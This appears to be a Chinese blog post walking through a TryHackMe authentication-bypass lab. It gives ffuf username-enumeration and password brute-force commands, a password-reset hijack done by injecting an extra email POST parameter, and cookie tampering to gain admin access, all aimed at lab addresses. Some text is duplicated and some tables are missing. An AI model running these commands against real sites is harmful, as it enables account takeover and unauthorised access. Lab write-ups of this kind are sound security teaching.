[THM] 身份验证绕过补档

发布时间 2023-12-13 09:28:31作者: trymonoly

用户名枚举

在尝试查找身份验证漏洞时,要完成的一个有用的练习是创建有效用户名列表,我们稍后将在其他任务中使用该列表。

 

网站错误消息是整理此信息以构建有效用户名列表的重要资源。如果我们转到 Acme IT 支持网站 (http://10.10.237.210/customers/signup) 注册页面,我们有一个创建新用户帐户的表格。

 

如果您尝试输入用户名 admin 并使用虚假信息填写其他表单字段,您会看到我们收到错误 An account with this username already exists。我们可以利用此错误消息的存在,通过使用下面的 ffuf 工具生成已在系统上注册的有效用户名列表。ffuf 工具使用常用用户名列表来检查是否有任何匹配项。

ffuf -w /usr/share/wordlists/SecLists/Usernames/Names/names.txt -X POST -d "username=FUZZ&email=x&password=x&cpassword=x" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.10.237.210/customers/signup -mr "username already exists"

 

在上面的示例中:

  • -w 参数后接的是字典路径,在此示例中 具体指定的是攻击机上的用户名字典路径。
  • -X 参数指定的是请求方法,默认为 GET 请求,但在此示例中为 POST 请求。
  • -d 参数指定我们要发送的数据,在此示例中,我们有四个字段:用户名、电子邮件、密码和 cpassword。 我们已将用户名的值设置为 FUZZ,在 ffuf 工具中,FUZZ 关键字表明我们所用的字典中的内容将被插入到请求消息中的什么位置。
  • -H 参数用于向请求添加额外的标头,在示例中,我们将设置Content-Type 以便让web 服务器知道我们正在发送表单数据。
  • -u 参数指定我们向其发出请求的 URL。
  • -mr 参数是我们正在寻找的页面上的报错信息的文本内容,以验证我们是否找到了有效的用户名。

创建一个名为 valid_usernames.txt 的文件,并添加使用 ffuf 找到的用户名;这些用户名将在任务 3 中使用。

蛮 力

使用我们在上一个任务中生成的 valid_usernames.txt 文件,我们现在可以使用它来尝试对登录页面进行暴力攻击 (http://10.10.237.210/customers/login)。

注意:如果通过管道直接从 ffuf 的输出创建了 valid_usernames 文件,则可能无法完成此任务。清理数据,或仅将名称复制到新文件中。

 

暴力攻击是一个自动化过程,它尝试针对单个用户名或用户名列表(如我们的示例)使用常用密码列表。

 

运行此命令时,请确保终端与valid_usernames.txt文件位于同一目录中

user@tryhackme$ ffuf -w valid_usernames.txt:W1,/usr/share/wordlists/SecLists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.10.237.210/customers/login -fc 200

这个 ffuf 命令与第2小节中的命令有所不同:之前我们使用 FUZZ 关键字来选择 用户名字典在请求消息中插入数据的位置,而在本例中因为我们将使用多个字典列表,所以我们必须指定我们自己的关键字 W1W2

在本例中,我们将使用 -w 参数指定多个字典列表,但是会用逗号分隔每个字典列表,我们将使用 W1 参数来指定有效用户名列表,使用 W2 参数来指定我们将要尝试的密码列表。最后,为了筛选出匹配成功的结果,

我们将使用 -fc 参数来过滤HTTP 状态代码为200的消息响应结果(匹配成功会是302代码--重定向)。

 

逻辑缺陷

什么是逻辑缺陷?

有时,身份验证过程包含逻辑缺陷。逻辑缺陷是指应用程序的典型逻辑路径被黑客绕过、规避或操纵。逻辑缺陷可能存在于网站的任何区域,但在这种情况下,我们将专注于与身份验证相关的示例。

if( url.substr(0,6) === '/admin') {
    # Code to check user is an admin
} else {
    # View Page
}

因为上面的 PHP 代码示例使用了三个等号 (===),所以它正在寻找字符串的完全匹配,包括相同的字母大小写。该代码存在逻辑缺陷,因为请求 /adMin 的未经身份验证的用户不会检查其权限并显示页面,从而完全绕过身份验证检查。

逻辑缺陷实用

我们将检查重置密码Acme IT 支持网站的功能 (http://10.10.237.210/customers/reset)。我们看到一个表单,要求提供与我们希望执行密码重置的帐户关联的电子邮件地址。如果输入的电子邮件无效,您将收到错误消息”从提供的电子邮件地址中找不到帐户”。

 

出于演示目的,我们将使用接受robert@acmeitsupport.thm电子邮件地址。然后,我们会看到表单的下一阶段,该阶段要求提供与此登录电子邮件地址关联的用户名。如果我们输入 robert 作为用户名并按“检查用户名”按钮,您将看到一条确认消息,提示将向robert@acmeitsupport.thm发送密码重置电子邮件。

 

在此阶段,您可能想知道此应用程序中可能存在哪些漏洞,因为您必须知道电子邮件和用户名,然后将密码链接发送到帐户所有者的电子邮件地址。

本演练需要在 AttackBox 上运行以下两个 Curl 请求,可以使用上面的蓝色按钮打开这两个请求。

在重置电子邮件过程的第二步中,用户名以 POST 字段的形式提交到 Web 服务器,电子邮件地址作为 GET 字段在查询字符串请求中发送。

让我们通过使用 curl 工具手动向 Web 服务器发出请求来说明这一点。

user@tryhackme$ curl 'http://10.10.237.210/customers/reset?email=robert%40acmeitsupport.thm' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=robert'

我们使用-H标志向请求消息添加额外的标头。 在本例中,我们会将 Content-Type 设置为 application/x-www-form-urlencoded,这能让 Web 服务器知道我们正在发送表单数据,以便Web服务器能够正确理解我们的请求消息。

我们使用-H标志向请求消息添加额外的标头。 在本例中,我们会将 Content-Type 设置为 application/x-www-form-urlencoded,这能让 Web 服务器知道我们正在发送表单数据,以便Web服务器能够正确理解我们的请求消息。

在以上示例的web应用程序中,网站将使用查询字符串来检索用户帐户,检索完成之后,根据应用程序的逻辑,该网站将使用 PHP 变量$_REQUEST中的数据来发送密码重置电子邮件。

该网站的PHP代码中的$_REQUEST变量是一个数组,其中包含了从查询字符串接收的数据和 POST 数据。 如果查询字符串和 POST 数据使用相同的键名,则此变量的应用程序逻辑将倾向于 POST 数据字段而不是查询字符串数据字段,因此如果我们在 POST 表单中添加另一个email参数,我们就可以控制 关于密码重置的电子邮件 的送达位置。

user@tryhackme$ curl 'http://10.10.237.210/customers/reset?email=robert%40acmeitsupport.thm' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=robert&email=attacker@hacker.com'

 

接下来,我们需要在 Acme IT Support 的客户页面创建一个帐户,这样做会为我们提供一个唯一的电子邮件地址,可用于创建该网站提供的技术支持业务票据,电子邮件地址的格式为 {username}@customer.acmeitsupport.thm

现在重新运行 Curl Request 2,但在电子邮件字段中使用我们自己的@customer.acmeitsupport.thm,然后在你的帐户上会生成一张业务票据,其中会包含一个链接,结果就是你能以 Robert 的身份实现登录并能查看Robert 用户的账户信息。

user@tryhackme:~$ curl 'http://10.10.237.210/customers/reset?email=robert@acmeitsupport.thm' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=robert&email={username}@customer.acmeitsupport.thm'

Cookie篡改

在你的在线会话期间检查和编辑由 Web 服务器设置的 Cookie 可能会产生多种结果,例如未经身份验证的访问、对其他用户帐户的访问或获得一个提升的权限。

Cookie-Plain Text(明文)

一些cookies的内容可以是纯文本的,它们的作用是显而易见的。 例如,假设以下是成功登录后所设置的cookie信息:

 

我们可以看到一个 cookie (logged_in),它似乎控制着用户当前是否登录,还有另一个cookie (admin),它控制着访问者是否具有管理员权限。 按照这个逻辑,如果我们更改了 cookie 的内容并重新发出请求,那么我们将能够更改我们拥有的权限。

首先,我们将从请求目标页面开始:

user@tryhackme$ curl http://10.10.68.98/cookie-test

我们可以看到返回了一条消息:未登录--Not Logged In

现在我们将发送另一个请求,并将logged_in cookie设置为true,将admin cookie设置为false

user@tryhackme$ curl -H "Cookie: logged_in=true; admin=false" http://10.10.68.98/cookie-test

这次我们能够收到消息:以用户身份登录--Logged In As A User

最后,我们将发送又一个请求,将 logged_in 和 admin cookie 都设置为true

user@tryhackme$ curl -H "Cookie: logged_in=true; admin=true" http://10.10.68.98/cookie-test

这将返回结果:以管理员身份登录-- Logged In As An Admin

Cookie-Hashing(散列)

 

有时 cookie 值可能看起来像一长串随机字符,这些字符被称为散列,是原始文本内容的不可逆表示。 以下是你可能会遇到的一些hash示例:

 从上表可以看出,同一输入字符串的哈希输出可能会因使用的哈希方法而有很大差异。尽管哈希值是不可逆的,但每次都会产生相同的输出,这对我们很有帮助,因为 https://crackstation.net/ 等服务可以保留数十亿个哈希值及其原始字符串的数据库。

编码

编码类似于哈希,因为它创建看似随机的文本字符串,但实际上,编码是可逆的。所以这就引出了一个问题,编码有什么意义?编码使我们能够将二进制数据转换为人类可读的文本,这些文本可以通过仅支持纯文本 ASCII 字符的介质轻松安全地传输。

常见的编码类型是 base32,前者将二进制数据转换为字符 A-Z 和 2-7,后者使用字符 a-z、A-Z、0-9、+、/ 和等号进行转换,用于填充。

以下数据为例,由Web服务器在登录时设置:

 以上编码部分的数据经过base64解码之后的字符串的值为 {"id":1,"admin": false} ,我们可以将其重新编码回 base64 编码,但是我们将 admin 值设置为 true,然后我们就可以获得管理员访问权限。